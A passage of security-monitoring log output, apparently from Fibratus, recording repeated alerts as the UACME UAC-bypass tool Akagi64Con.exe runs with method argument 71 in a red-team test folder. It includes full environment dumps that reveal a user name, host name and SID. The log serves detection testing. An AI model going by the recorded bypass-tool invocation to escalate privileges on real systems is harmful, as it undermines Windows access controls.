Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net47\f05bcd7e24cefeb9cc45d630f8164c70\testhost.net47.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675041 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.215943 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net47\f05bcd7e24cefeb9cc45d630f8164c70\testhost.net47.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net47\f05bcd7e24cefeb9cc45d630f8164c70\testhost.net47.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675041 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.215943 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net47\f05bcd7e24cefeb9cc45d630f8164c70\testhost.net47.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net471\3be2bcac87bb5f5439fe08fc086c2429\testhost.net471.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675054 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2167762 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net471\3be2bcac87bb5f5439fe08fc086c2429\testhost.net471.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows 